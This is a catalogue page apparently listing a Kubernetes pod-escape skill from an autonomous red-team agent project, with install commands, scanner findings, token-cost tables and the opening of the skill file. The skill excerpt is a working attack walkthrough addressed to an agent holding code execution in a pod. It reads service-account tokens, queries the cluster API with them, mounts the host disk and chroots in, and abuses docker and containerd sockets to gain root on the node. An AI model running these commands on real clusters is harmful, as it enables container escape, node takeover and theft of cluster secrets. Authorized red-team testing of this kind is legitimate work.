Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PurpleAILAB/Decepticon --skill k8s-pod-escapegit clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/k8s-pod-escape)<a href="https://agentmods.dev/skills/purpleailab/decepticon/k8s-pod-escape"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/k8s-pod-escape/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/purpleailab/decepticon/k8s-pod-escape"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/k8s-pod-escape.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 14 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high Privilege Escalation · line 22 Potential security issue detected. Manual review is recommended.Fix: Review the flagged content for security risks. Ensure no credentials, secrets, or sensitive data are exposed.
- high Privilege Escalation · line 53 Potential security issue detected. Manual review is recommended.Fix: Review the flagged content for security risks. Ensure no credentials, secrets, or sensitive data are exposed.
- high Privilege Escalation · line 61 Potential security issue detected. Manual review is recommended.Fix: Review the flagged content for security risks. Ensure no credentials, secrets, or sensitive data are exposed.
- high Privilege Escalation · line 62 Potential security issue detected. Manual review is recommended.Fix: Review the flagged content for security risks. Ensure no credentials, secrets, or sensitive data are exposed.
- high Privilege Escalation · line 62 Potential security issue detected. Manual review is recommended.Fix: Review the flagged content for security risks. Ensure no credentials, secrets, or sensitive data are exposed.
- high Privilege Escalation · line 63 Potential security issue detected. Manual review is recommended.Fix: Review the flagged content for security risks. Ensure no credentials, secrets, or sensitive data are exposed.
- high Privilege Escalation · line 80 Potential security issue detected. Manual review is recommended.Fix: Review the flagged content for security risks. Ensure no credentials, secrets, or sensitive data are exposed.
- high Privilege Escalation · line 76 Potential security issue detected. Manual review is recommended.Fix: Review the flagged content for security risks. Ensure no credentials, secrets, or sensitive data are exposed.
- high Privilege Escalation · line 77 Potential security issue detected. Manual review is recommended.Fix: Review the flagged content for security risks. Ensure no credentials, secrets, or sensitive data are exposed.
- high Privilege Escalation · line 130 Potential security issue detected. Manual review is recommended.Fix: Review the flagged content for security risks. Ensure no credentials, secrets, or sensitive data are exposed.
- high Tool Misuse · line 124 Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).Fix: Validate all tool parameters against an allowlist. Reject dangerous parameter values (shell=True, --force, -rf /) and use safe defaults.
- high Privilege Escalation · line 141 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 156 Potential security issue detected. Manual review is recommended.Fix: Review the flagged content for security risks. Ensure no credentials, secrets, or sensitive data are exposed.
- medium MCP Rug Pull · line 114 Docker image references without a specific tag (:latest is implicit) or digest (@sha256:...) can be silently replaced by a malicious image.Fix: Pin the image: image:tag or image@sha256:abc123
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00060 | $0.01903 |
| Opus 5 | $0.00030 | $0.00951 |
| Sonnet 5 | $0.00012 | $0.00381 |
| Haiku 4.5 | $0.00006 | $0.00190 |
Grade A, and why
k8s-pod-escape scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -sk -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces/default/pods Copies of this mod
1 near-identical copy found in the catalogue:
- k8s-pod-escape — 100% identical, 0 lines differ
How it starts
The opening of the file, as written. The whole thing — 163 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Kubernetes Pod Escape to Node
You have RCE inside a pod. Goal: break out of the container to the underlying node, then pivot to the cluster.
Phase 1: Enumerate the container
# Identify how you're contained
cat /proc/self/status | grep -E '^(Cap|Seccomp|NoNewPriv)'
cat /proc/1/status | grep -i cap
mount | grep -E 'cgroup|hostpath|/var/run/docker.sock|/var/run/crio'
ls -la /dev | head -20
id
hostname
# Service-account token
cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 60
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
# Token + APIserver — confirm you can talk to the API
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -sk -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces/default/pods
Phase 2: Detect escape primitives (check each, escalate via the first that works)
2.1 Privileged container
# Privileged = full host kernel access. CapEff: 0000003fffffffff is the giveaway.
grep CapEff /proc/self/status
# 0000003fffffffff or "ALL" → you're privileged. /dev/sda1, /dev/kmsg etc are visible.
ls -la /dev/sda* /dev/nvme*
# Mount host filesystem:
mkdir /mnt/host
mount /dev/sda1 /mnt/host # adjust device — `lsblk` to confirm
chroot /mnt/host /bin/bash
# Now you're root on the node.
2.2 hostPath mount to / or /etc or /var/run/docker.sock
# Look for suspicious mounts
mount | grep -E '/host|/node|docker.sock|/etc|/root'
# /var/lib/kubelet mounted? You can read every other pod's secrets.
ls /var/lib/kubelet/pods/*/volumes/kubernetes.io~secret/ 2>/dev/null
# /var/run/docker.sock or /run/containerd/containerd.sock mounted = node compromise
docker -H unix:///var/run/docker.sock run --rm -it --privileged -v /:/host alpine chroot /host
ctr -a /run/containerd/containerd.sock run --rm -t --privileged --mount type=bind,src=/,dst=/host,options=rbind alpine escape sh -c 'chroot /host'
2.3 hostPID + SYS_PTRACE (no privileged needed)
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 7d ago First seen · 163 lines · 60 tokens per session scan A 5ce3f168ac4f
k8s-pod-escape is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,482 stars, last pushed 11d ago), licensed Apache-2.0. It adds 60 tokens to every session and 1,903 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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redteam-container-detail-pack
Domain routing and boundary guidance for authorized container and orchestration security testing, including Docker escape, Kubernetes privilege escalation, image vulnerabilities, and service mesh bypasses. Use when a task belongs to the container testing domain and needs scope, evidence, pivot, or exit criteria.
k8s-security-policies
Implement Kubernetes security policies including NetworkPolicy, PodSecurityPolicy, and RBAC for production-grade security. Use when securing Kubernetes clusters, implementing network isolation, or enforcing pod security standards.
helm-chart-scaffolding
Design, organize, and manage Helm charts for templating and packaging Kubernetes applications with reusable configurations. Use when creating Helm charts, packaging Kubernetes applications, or implementing templated deployments.
redamon-testing
How RedAmon tests actually run and how to author them: the per-file Docker gate, the unit/integration/live tiers, and the failure modes that make a green run a lie. Trigger: editing any test.py, .test.ts(x) or tests/.sh; a test that is red, skipped or xfailed; a request to "run the tests", "make it green" or check…